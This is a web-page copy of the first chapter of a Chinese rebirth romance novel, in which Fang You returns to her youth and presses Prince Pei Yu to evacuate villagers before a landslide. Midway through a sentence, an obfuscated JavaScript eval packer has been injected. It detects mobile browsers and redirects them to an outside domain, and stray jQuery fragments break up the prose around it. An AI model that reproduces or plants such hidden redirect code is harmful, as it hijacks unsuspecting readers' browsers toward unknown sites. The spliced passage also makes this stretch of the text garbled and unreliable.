默认冷灰
24号文字
方正启体

1. 第 1 章

作者:黎炘本书字数:K更新时间:
    二月初,春寒料峭。


    凛风顺着小窗的缝隙钻进来,冻得人不禁打颤。


    “出来时还日头高照,怎一会儿功夫就变了天……”


    “嘘!”


    浅浅的抱怨声立时消散了。


    车内比之外头尚要暖和不少,车壁融了极厚实的金丝楠木,雪白的羊绒毯通铺,其间珍奇摆件不知几何,足见主人家的富贵。


    只见一女郎裹着绒被卧于软榻之上,峨眉轻蹙,双眸紧闭,琼鼻红唇,样貌极为娇艳。似是睡得不安稳,浓密鸦羽不时乱颤,贴在额边的刘海略微湿漉,出了密汗。


    不知是否冷得太过,竟开始发抖。


    “女郎、女郎……”


    房幽耳边传来呼喊,她猛地睁眼,还未聚焦便狠吸了两口气,胸口不断起伏。


    身边的婢女吓了一跳,忙跪坐在她身侧,递上来一杯热茶:“女郎,快喝一口压压惊。”


    房幽不明所以,就着她的手轻抿了一口。


    但顺着目光望去,却是倏地一惊:“湘元!”


    怎么会!湘元在她出嫁第二年便投井而亡,怎会又出现在她跟前?!


    湘元应答了声,接过另个婢女递来的巾子,为她擦了擦额头,道:“女郎是否梦魇?方才便见您睡得不安稳。待回去了还是要叫府医来为您瞧瞧,这天儿太容易得风寒……”


    话还未说完,便见女郎紧握住她的手,拉到脸边贴着,一双杏眸竟然湿漉漉的:“湘元,你还活着。”


    湘元长她三岁,幼时起便服侍她,感情深厚自不必多说。


    她见她如此,以为是其梦中太过可怖,便宽慰道:“奴婢一直在这儿呢。”


    贴在脸蛋边的手温热柔软,绝不是她最后见她的冰凉。


    房幽这才意识到不对劲。


    她的眼神往四周飘去,却见自个儿正在马车上,布局有几分熟悉,仿佛是出嫁前阿兄所赠的那一辆。再瞧另个婢女,正是因为手脚不干净,被她逐出府的湘莲。


    房幽一愣——


    她因南下之事与裴焉起了争执,硬要与他分船而行,却不幸遇上水匪。周边尖叫、刀刃声入耳,她走投无路,被一狰狞贼人逼得不得已跳船,而后便失去了意识。


    她忽然反应过来:“今岁是何年?”


    见主子如此反常,湘元与湘莲不由对视一眼,这才答道:“庆元二十三年。”


    庆元二十三年——


    这年份并不陌生,二十三年,她与裴焉初遇,次年便大婚,而后,雍王登基。


    元莲二女见她呆愣,不由忧心:“崔女郎大抵有什么事耽搁了,女郎莫要放在心上。”


    她二人平素最是要好,但因着今日被爽约,女郎抱怨了许久,又怪其害自个儿淋雨,临睡前还道要她好看。


    这,莫不是被气傻了?


    崔云锦?


    房幽眨了下眼,这事儿她有印象。


    崔云锦诓她出来踏青,却故意爽约,目的就是为了让自个儿与她表兄裴焉遇上!


    就在此时,马车忽然顿了下,外头一声嘶鸣,紧接着,侍卫的声音传进来:“女郎,前方有马车卡了轮子,路堵上了。”


    来了!


    房幽手掌心一阵发麻,她才将将回到从前,便又来到了与裴焉相遇的岔路口。


    正是因着这次相遇,过后十年婚姻,二人相敬如宾,夫妻情分稀薄,说是怨侣也不为过。


    房幽抿了抿唇:“往后走,咱们绕路。”


    侍卫应声,却又听她道:“等等!”


    这回下雨,乃是上京二十年来雨势最大的一回,致使京外山体滑坡,百姓死伤惨重,流离失所。


    她阿兄镇守京外,遭流民暴起刺伤,而后缠绵病榻数载,最终英年早逝。


    她不能走!


    不仅不能走,她还要将这个消息传出去,疏散百姓!


    房幽下了软榻,手忙脚乱地穿好鞋袜。


    车门一打开,瑟瑟寒风袭来,冻得她禁不住发抖。


    紧接着,湘莲追上来,为她裹上了斗篷。


    湘元则打开了伞,替她遮挡豆大的雨滴。


    外头黄土地早被雨砸得泥泞不堪,房幽咬牙,搭着侍卫的手跳下马车。


    今日出城游玩之人不在少数,但多数是年轻的女郎郎君,除却他们,有话语权的就剩坏了马车的裴焉。


    想要疏散百姓,只能靠他。


    房幽咬牙,纵使还未做好再见他的准备,但到底不愿再重蹈覆辙,便捏着拳头往前走去。


    湘元跟在边上,心高高地提起来。


    这位小祖宗平素便是集千娇百宠于一身,脾气说不上多坏,但到底是有几分娇气。


    今日又有崔氏女郎惹她在前,马车被堵在后,还不知此番去是要作何。


    房幽快步走着,顾不得斜斜打进来的雨滴,没一会儿便行至裴焉的马车边。


    上一世初遇,她坐于温暖的车架中,因是好奇周边议论,将车窗打开,方才探出目光便与裴焉相视。


    青年郎君眉目疏朗,鹰眸薄唇,只单单一眼,便叫她迷乱了心。


    这样气宇轩昂的郎君,她在上京从未见过。


    自此起孽缘。


    这一世,她主动上前,自报家门:


    “燕王殿下,臣女房氏,求见殿下。”


    马车里有了动静,车窗被推开,一张年轻郎君的脸显露出来。


    眉目同样俊朗,却是熠熠桃花眼,比之裴焉更添了份多情。


    不是他,是裴昱。房幽微微睁大眼。


    “你找三哥?他不在此。”


    裴昱微微一笑。


    他自然见过这位房氏女郎。


    上京双姝,一位以才出名的崔云锦,另一位以色出名的房幽。原以为此乃房鹤明为他女儿造势,却未曾想是名不虚传。


    她大抵是赶得急,发上沾了雨丝,面上也有些,再瞧裙裾上,布着脏污的泥点子。虽看起来狼狈,却着实是清水出芙蓉,颇为艳丽的一朵娇花。


    裴昱不由一笑:莫非她倾心于三哥,竟这样急迫要见到他。


    心里却又隐隐失落。


    房幽不过一愣神,便很快道:“事态紧急,请雍王殿下速速下令疏散百姓众人,雨下得太大,快要走蛟了。”


    裴昱脸上的笑意缓缓收起,他紧蹙着眉:“房娘子何出此言?这可并非说着玩的。”


    走蛟,他父皇即位的这些年来,也不过发生了三起,但回回皆是死伤惨重,可谓动摇国之根本。


    此番雨势虽不小,但未必就到了会走蛟的地步。


    且房氏女虽矜贵,但到底是个年岁小的女郎,莫不是在胡言乱语。


    房幽心煎似火烧,这位雍王殿下优柔寡断,处事犹豫,她从前便听裴焉说过好几回。为了不叫他多问,她索性道:


    “我回来的路上偶遇两村民,听得他们所说山上仿似在晃动,便派了侍卫前去查看。方才侍卫回禀,山上泥石滑落,确有松动迹象。”


    这话可信度仍是不高,她又搬出房鹤明:“我父外放时在蜀中,便是先有山动,再出走蛟。”


    裴昱正色。房鹤明正是因为蜀中治灾有功,方能重回上京,扶摇直上。


    房幽见他重视,趁热


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541221|170986||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    打铁:“我一小小女郎之言不足以让人信服,便只能前来寻找雍王,望殿下速速下令!”


    裴昱望了望四周,没瞧见裴昱的人影。


    此番出城是兄弟二人临时起意,只带了两三个侍卫。因雨天路滑,车辙陷到泥地里不得出,裴焉便带了人去附近村民家里寻工具,这会儿还未归来。


    裴昱自车上下来,心中乱跳——


    他虽自幼得父皇宠爱,教养于跟前,但到底未曾面对过这样大的局势。


    若是未曾走蛟,那便是虚传命令、引起百姓恐慌;若是当真走蛟,那便是弃百姓生死而不顾,愧为人臣。


    身边的女郎殷切地望着他,一双清凌凌的眸子里饱含着期望,裴昱咬咬牙:“娘子且借我几个侍卫,我去一一通知。”


    无论如何,这事儿的责任都落在了他身上。


    房幽心中那口堵着的气消散开来,她莞尔一笑:“多谢殿下肯信我。”


    裴昱一晃神,还未从她那笑里脱身,便听她催促:“殿下快去罢,且小心些。”


    尚未及冠的郎君耳朵赤红,略微一点头,正要转身离去,袖摆又被房幽抓住。


    他愣愣回头,只听她道:“殿下,周边地势高的唯有那座土地庙,然估摸不够容纳所有百姓。殿下可安排他们与我们一道进城,雨天路滑,我们腾出些马车来,挤一挤总能走的。”


    裴昱弄不清房幽怎会如此了解,但时间不等人,颔首后便领着几个侍卫匆匆离开。


    瓢泼大雨中,裴昱集结了几位世家郎君,一一吩咐过后四散传消息去了。


    房幽则留下来,发挥她跋扈在外的名声,要世家女郎们将马车腾出来。


    其中自然有不服的,阴阳怪气她发痴,竟咒大庆要走蛟,实在是灾星现世。


    还有的道,要去与家中告状,弹劾房鹤明,告他教女不严,养出这么一个胡言乱语、扰乱人心的女郎。


    房幽懒得理会她们,只需搬出自个儿的父亲兄长便横眉叉腰指挥着——


    其余女郎便是有再多怨气,也不得不收拾东西挤在了她那一辆最大的马车上。


    谁教家世敌不过人家呢?没瞧同样是清河出来的,眼下连崔氏都要矮房氏一头么。


    没多会儿,裴昱已领着上百人浩浩荡荡地往这里走来。


    上京城外百姓约有几百,小小土地庙自是容纳不下去,这么些人数显见不对,房幽着了急,怕他是忧心性命才不愿通知所有人。


    裴昱却道:“我三哥领着其余人往秦县去了,他说人太多过不去城门,届时要引起大乱。”


    听闻裴焉领路,房幽自方才起便紧绷的身体松泛下来。


    他的法子自然比她多。


    但同时,房幽又紧张起来。


    她回来了,却不知裴焉回来没有?


    若他知晓此事由她提起,必然也会知晓她重生一事。


    她现下,还未想好要怎样面对他。


    南下前,她吵嚷着要和离,裴焉也真的在她那张和离纸上签了字画了押。


    想到他那般决绝的模样,房幽不由愤愤:左右休夫了,那她便要重新来过!管他裴焉做何!


    这时,裴昱忽然笑了下:“娘子聪颖,若今次救百姓免受灾害,某必要上书父皇,请他嘉奖娘子。”


    他眉眼温润,熠熠目光紧凝着她,比之裴焉更多了几分暖意。


    房幽忽而攥紧了手:


    她曾被断言凤命,后来嫁给军功赫赫的裴焉,心里不是没抱期望。


    可后来,登基的是雍王。


    房幽咬了咬下唇,低眼浅笑:“殿下过誉了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)